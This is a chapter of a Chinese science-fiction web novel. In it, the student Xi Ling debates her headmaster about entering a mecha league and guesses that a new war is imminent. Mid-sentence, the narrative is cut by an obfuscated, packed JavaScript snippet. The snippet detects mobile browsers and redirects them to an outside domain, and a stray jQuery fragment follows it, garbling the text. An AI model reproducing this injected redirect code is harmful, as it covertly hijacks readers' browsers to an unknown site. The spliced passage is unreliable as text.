“为什么?”郗灵问道,语气里带着一丝困惑。
杜尚别面色平静地迎上她的目光,语气却不容置喙:“参加联赛对你而言,不是最优选。想杀你的人,哪个不是位高权重?你要让他们生出忌惮、无从下手,就得一边磨硬自己的实力,一边积攒人脉和资本——你的时间和精力,本该用在回报率更高的事上。”
这番话条理清晰,郗灵没有立刻反驳,只是顺着他的思路追问:“您的意思是,把参加联赛的时间腾出来做别的,我反而能进步得更快,对吗?”
“军校机甲联赛的参赛者来自联邦十大扇区,能通过海选的更是天才中的天才。”杜尚别语气稍缓,却依旧带着不容转圜的强硬,“但本质上,这只是学生间的小打小闹。这场向全联邦公开的赛事,因为人数受限,许多精妙的战术都无法施展,你的军事素养,在这儿根本得不到该有的锤炼。”
他顿了顿,目光沉沉地落在郗灵脸上,语气多了几分郑重:“如果你是我真正的学生,我会像当年带萧寒剑那样,把你送到你真正该去的地方。”
“什么地方?”郗灵眼睛一眯。
杜尚别没有卖关子,微笑着给出答案:“联邦边境,星域战场。”
听闻此句,郗灵陷入沉默。
她是星球遗孤,战场的残酷与现实,她比谁都清楚。
即使,那些只为给履历镀层金的世家子弟,尽可以缩在军事堡垒里混日子——他们只需偶尔扛着枪去战场边缘扫两梭子弹,背后有联邦提供的精良装备、源源不断的物资兜底,待满三年,揣着混来的军功转身离开,就能在军部谋个不错的职位。
可真正的仗,从不是他们在打。
一将功成万骨枯,绝非戏言。
战场从不需要虚与委蛇,实力是唯一的通行证,同伴的强弱,直接攥着彼此的生死线。
哪怕是最底层的小兵,也盼着队友是能托付后背的强者,而不是只会躲在身后拖后腿的混子。
但郗灵也看得明白,杜尚别的建议没有半分虚情。
他是真的想让她快点成长,成长到能在那些暗处的刀锋下站稳脚跟,不必再时刻提防未知的危险。
如果真的去了前线,她绝不会像那些世家子弟一样混日子。
她会像在觐见之塔中、跟随芬迪尔的那七年一样——每一颗子弹都瞄准敌人,每一次厮杀都拼尽全力,一枪一炮,都要亲手挣出自己的生路。
萧寒剑已经走通了这条路:远离中央枢纽,凭实打实的军功积累声望。
而萧寒剑能守住心底的善良,很大程度上,正是因为躲开了中央星的政治漩涡——某种程度上,政治比战争更加血腥。
这么看来,对郗灵而言,去边境战场确实是条最稳妥的韬光养晦之路。
可郗灵没有点头同意。
她向来贪心。
机甲联赛里那种酣畅淋漓的决斗,她想要;边境战场上那种血与火的磨砺厮杀,她也想要。
两条路,她都想要!
“校长,我没有权利改变您对联赛的看法,这是您的自由。我也不会用‘我有选择的自由、我拥有参加联赛的资格’这类话来劝说您——对您而言,这些理由毫无意义。”郗灵语气平静,态度却格外坚定,“您想把我送去前线,我明白您的用意:一是让我尽早积攒军功、建立声望,二是让我远离中央星的纷争与漩涡,免得哪天不明不白死于他人之手。”
她微微一顿,加重了语气:“但我并不认为,这就是眼下最好的选择!”
萧寒剑在一旁静静听着,没有打断。
她太了解杜尚别了。
他看似温和宽容,骨子里却无比高傲,唯有那些不甘屈从、敢于坚持自我的灵魂,才能让他青眼有加。
他向来欣赏勇于表达观点的人,若是这份观点还能有理有据、颇具价值,他只会更加欣慰。
杜尚别微微颔首,语气听不出波澜:“继续说,我在听。”
郗灵迎着他的目光,条理清晰地阐述:
“您觉得机甲联赛只是学生间的小打小闹,这一点我理解。可没有人生下来就完美,任何人的成长,都需要一个循序渐进的过程。”
“我和其他同龄天才切磋,不只是单纯的竞争,更是年轻一代之间的交流。”
“这段经历很珍贵,但更珍贵的是,我能在比赛过程中,结识许多的同行者。”
“现在这些尚显稚嫩的学生,毕业后会进入联邦各界,未来,必定会成为新的中流砥柱。”
“如果他们能成为我的朋友,我们会有更多共同话题,未来也能多一份彼此扶持的可能。”
“如果他们会成为我的敌人,那么现在多一段共处的经历,也意味着,我能更早了解未来对手的脾性与能力。”
听到这里,杜尚别终于笑了,笑意却未达眼底。
“你的认知很清晰,但还不足以说服我。”他话锋一转,语气多了几分严肃,“郗灵,你在用一份虚无缥缈的未来否决我的建议。联赛固然能结交朋友,但你的命运始终握在自己手中。了解外界和建构自我之间,后者的优先级远高于前者,你又凭什么把自己最珍贵的青春,绑在一场学生赛事上?”
郗灵没有退缩,反而追问:“那么那些世家子弟呢?他们的父母为什么要把孩子送进五大军校?难道仅仅是为了给履历镀金吗?”
“你和他们不同,郗灵。”杜尚别几乎没有停顿,立刻回应,“他们是温室里的花朵,贸然移植到风吹雨打的室外,十有八九会立刻枯萎。但你是从战场上爬出来的幸存者,你没必要留下来,和他们做这种过家家似的较量。”
“可我只求参加这次联赛。”郗灵的语气多了几分恳切,“还有不到一个月,联赛就要开始了,整个赛事也不会超过一年。只是一年的时间,您也不能给我吗?”
“是的。”杜尚别的回答干脆利落。
“为什么?”郗灵继续追问。
她的目光紧紧锁住杜尚别,终于将话题引向了自己真正想探寻的核心:“难道是因为……战争马上又要开始了吗?”
这句话像一道惊雷,让一旁的萧寒剑猛地睁大了双眼,脸上满是难以置信。
而杜尚别,第一次在郗灵面前哑口无言。
他看着眼前这个敏锐得近乎可怕的少女,眼底掠过一丝不易察觉的欣慰。
郗灵没
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16465853|180980||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
有催促,只是耐心等待。
良久,杜尚别缓缓呼出一口气,迎着她的目光,声音低沉道:“郗灵,这件事,我无法回答。”
战争无儿戏,更不允许捕风捉影、空穴来风,对一件严肃的国事缄口不言,即是无言的承认。
郗灵瞳孔微颤。
她无法想象,上一场战争才结束不到三个月,下一场战争的号角竟然又要吹响了。
她没有追问,更没有资格追问。
她竭力控制住颤抖的双手,缓缓从半蹲的姿态站直身体,原本与轮椅上的杜尚别平视的视线,竟渐渐变成了一种略带压迫感的俯视。
“我明白了,校长。”郗灵一字一顿,“但我,还是要参加机甲联赛。”
杜尚别微微仰起头,眼神平静:“为什么?”
“联邦开战的对象,必然是机械帝皇,我不会放弃去前线的机会,只因他是我此生最痛恨的仇人。”郗灵一眨不眨地盯着杜尚别,眼神竟然称得上狠厉,“但是,元帅,联邦固然在上一战中令机械帝皇元气大伤,却也只是惨胜,如今又要发动战争,胜负始终难言。”
郗灵对杜尚别的称呼,从“校长”改成了“元帅”。
杜尚别眉毛抬了抬:“所以呢?”
“上一战中,上将因中央星的军令投鼠忌器,让战争足足拖延了三年。”郗灵直视杜尚别的眼睛,“如今,战争又要开始,即使不是凤凰上将出征,联邦在指挥决策上……是否又会重蹈覆辙?”
此话一出,宛如惊雷落地。
萧寒剑惊得猛地站起,脸上第一次浮现出严厉的神色:“郗灵!”
“让她说下去!”杜尚别厉声呵斥,视线自始至终锁在郗灵身上,“郗灵,联邦里不是只有你一个人这么想。但你说的这些,和你要参加机甲联赛,到底有什么关系?”
“确实没太大关系。”郗灵语气平静,“但战争打响前,我必须留在联邦,仅此而已。”
“……你什么意思?”
“我要机械帝皇死!”郗灵的声音陡然变得掷地有声,“我绝不允许联邦射向机械帝皇的子弹,出现半分迟疑!我要斩断这份迟疑,我要除掉那些让前线士兵迟疑的人!”
她眼神锐利如刃,一字一顿道:“那些想杀我的人,难道还会是好人吗?我要看着他们撕开伪善的面具,把枪口、把刀叉明晃晃指向我——我会把他们一个个钓出来,再一口口咬死!开战之前,他们多死一个,机械帝皇战败的可能,就多一分!”
萧寒剑声音里带着难以掩饰的涩然,颤悠悠道:“……郗灵啊。”
“我接受这个理由。”杜尚别轻笑一声,话锋却骤然收紧,“但机甲联赛从来是团队协作,不是个人逞能的地方。你执意把自己扔进险地,有没有想过——你的队友,是否愿意承担这份本不该有的风险?”
郗灵抿紧唇,彻底陷入了沉默。
屋内的气氛骤然凝固。
但就在这时,“叩叩叩”的敲门声突然响起。
“校长,我是欧白白,郗灵的队长。”门外传来一道清脆爽快的女声,“抱歉,我打晕了守在门外的人,毕竟……我的王牌,好像就要被您抢走了。”